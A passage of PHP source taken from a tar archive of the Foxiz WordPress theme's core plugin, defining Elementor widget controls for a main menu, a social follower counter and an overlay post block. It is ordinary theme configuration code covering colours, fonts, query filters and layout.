section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'submenu_color', array( 'label' => esc_html__( 'Sub Menu - Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the sub menu dropdown section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--subnav-color: {{VALUE}}; --subnav-color-10: {{VALUE}}1a;' ), ) ); $this->add_control( 'submenu_hover_color', array( 'label' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--subnav-color-h: {{VALUE}};' ), ) ); $this->end_controls_section(); /** dark mode */ $this->start_controls_section( 'dark-color-section', array( 'label' => esc_html__( 'Dark Mode - Main Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_dark_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for displaying in the navigation bar of this header in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--nav-color: {{VALUE}}; --nav-color-10: {{VALUE}}1a;' ), ) ); $this->add_control( 'menu_dark_hover_color', array( 'label' => esc_html__( 'Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--nav-color-h: {{VALUE}};' ), ) ); $this->add_control( 'menu_dark_hover_color_accent', array( 'label' => esc_html__( 'Hover Accent Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a accent color when hovering in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--nav-color-h-accent: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'dark-sub-color-section', array( 'label' => esc_html__( 'Dark Mode - Sub Menu Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'dark_submenu_bg_from', array( 'label' => esc_html__( 'Sub Menu - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the sub menu dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'dark_submenu_bg_to', array( 'label' => esc_html__( 'Sub Menu - Background Gradient (To)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 100%) for the sub menu dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'dark_submenu_color', array( 'label' => esc_html__( 'Sub Menu - Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the sub menu dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--subnav-color: {{VALUE}}; --subnav-color-10: {{VALUE}}1a;' ), ) ); $this->add_control( 'dark_submenu_hover_color', array( 'label' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--subnav-color-h: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mega-menu-section', array( 'label' => esc_html__( 'Mega Menu - Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'In case you would like to switch layout and text to light when set a dark background for sub menu in light mode.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Font Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Main Menu Font', 'foxiz-core' ), 'name' => 'menu_font', 'selector' => '{{WRAPPER}} .main-menu > li > a', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Sub Menu Font', 'foxiz-core' ), 'name' => 'submenu_font', 'selector' => '{{WRAPPER}} .main-menu .sub-menu > .menu-item a, {{WRAPPER}} .user-dropdown a, {{WRAPPER}} .more-col .menu a, {{WRAPPER}} .collapse-footer-menu a', ) ); $this->end_controls_section(); } protected function get_menus() { $menus = wp_get_nav_menus(); $options = array(); foreach ( $menus as $menu ) { $options[ $menu->slug ] = $menu->name; } return $options; } /** * render layout */ protected function render() { $settings = $this->get_settings(); \foxiz_elementor_main_menu( $settings ); } }elementor/social-follower.php000064400000023720147206624460012367 0ustar00start_controls_section( 'section_title', array( 'label' => esc_html__( 'Social Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'facebook_page', array( 'label' => esc_html__( 'FanPage Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'facebook_count', array( 'label' => esc_html__( 'Facebook Likes Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'twitter_user', array( 'label' => esc_html__( 'Twitter Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'twitter_count', array( 'label' => esc_html__( 'Twitter Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'pinterest_user', array( 'label' => esc_html__( 'Pinterest Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'pinterest_count', array( 'label' => esc_html__( 'Pinterest Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'instagram_user', array( 'label' => esc_html__( 'Instagram Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'instagram_count', array( 'label' => esc_html__( 'Instagram Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'youtube_link', array( 'label' => esc_html__( 'Youtube Channel or User URL', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'youtube_count', array( 'label' => esc_html__( 'Youtube Subscribers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'soundcloud_user', array( 'label' => esc_html__( 'Soundcloud User Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'soundcloud_count', array( 'label' => esc_html__( 'SoundCloud Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'telegram_link', array( 'label' => esc_html__( 'Telegram Channel or Invite URL', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'telegram_count', array( 'label' => esc_html__( 'Telegram Members Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'vimeo_user', array( 'label' => esc_html__( 'Vimeo User Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'vimeo_count', array( 'label' => esc_html__( 'Vimeo Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'dribbble_user', array( 'label' => esc_html__( 'Dribbble User Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->add_control( 'dribbble_count', array( 'label' => esc_html__( 'Dribbble Followers Value', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1 ) ); $this->end_controls_section(); $this->start_controls_section( 'style_section', array( 'label' => esc_html__( 'Widget Style', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'style', array( 'label' => esc_html__( 'Style', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a style for this widget.', 'foxiz-core' ), 'options' => array( '1' => esc_html__( 'Style 1', 'foxiz-core' ), '2' => esc_html__( 'Style 2', 'foxiz-core' ), '3' => esc_html__( 'Style 3', 'foxiz-core' ), '4' => esc_html__( 'Style 4', 'foxiz-core' ), '5' => esc_html__( 'Style 5', 'foxiz-core' ), '6' => esc_html__( 'Style 6', 'foxiz-core' ), '7' => esc_html__( 'Style 7', 'foxiz-core' ), '8' => esc_html__( 'Style 8', 'foxiz-core' ), '9' => esc_html__( 'Style 9', 'foxiz-core' ), '10' => esc_html__( 'Style 10', 'foxiz-core' ), '11' => esc_html__( 'Style 11', 'foxiz-core' ), '12' => esc_html__( 'Style 12', 'foxiz-core' ), '13' => esc_html__( 'Style 13', 'foxiz-core' ), '14' => esc_html__( 'Style 14', 'foxiz-core' ), '15' => esc_html__( 'Style 15', 'foxiz-core' ), ), 'default' => '1', ) ); $this->add_responsive_control( 'widget_font_size', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom font size for this widget.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .social-follower .follower-el .follower-inner' => ' font-size : {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Total Fans Text Font', 'foxiz-core' ), 'name' => 'fan_font', 'selector' => '{{WRAPPER}} .follower-el .fntotal, {{WRAPPER}} .follower-el .fnlabel', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .follower-el .text-count', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'custom_columns', array( 'label' => esc_html__( 'Custom Columns', 'foxiz-core' ), 'type' => Controls_Manager::SWITCHER, 'return_value' => 'yes', 'default' => 'no' ) ); $this->add_responsive_control( 'columns', array( 'label' => esc_html__( 'Columns', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select number of columns for the social counter layout.', 'foxiz-core' ), 'options' => array( '100' => esc_html__( '1 Column', 'foxiz-core' ), '50' => esc_html__( '2 Columns', 'foxiz-core' ), '33.3' => esc_html__( '3 Columns', 'foxiz-core' ), '25' => esc_html__( '4 Columns', 'foxiz-core' ), '20' => esc_html__( '5 Columns', 'foxiz-core' ), '16.6' => esc_html__( '6 Columns', 'foxiz-core' ), '14.2' => esc_html__( '7 Columns', 'foxiz-core' ), '12.5' => esc_html__( '8 Columns', 'foxiz-core' ), '11.1' => esc_html__( '9 Columns', 'foxiz-core' ), ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'default' => '100', 'condition' => array( 'custom_columns' => 'yes', ), 'selectors' => array( '{{WRAPPER}} .follower-el ' => 'flex: 0 0 {{VALUE}}% !important; max-width: {{VALUE}}% !important;' ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_heading' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); $style = $settings['style']; echo \rb_social_follower( $settings, $style ); } } }elementor/overlay-1.php000064400000060251147206624460011105 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '1', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => 'bg-1,big', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'avatar, author, date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '20', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to the column from 50% to 66.7% of the width.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'overlay_padding', array( 'label' => esc_html__( 'Custom Inner Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom padding values (px) for the overlay content.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .overlay-inner' => 'padding: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'slider_section', array( 'label' => esc_html__( 'Slider Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'slider_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination and columns settings will be not available if the slider mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 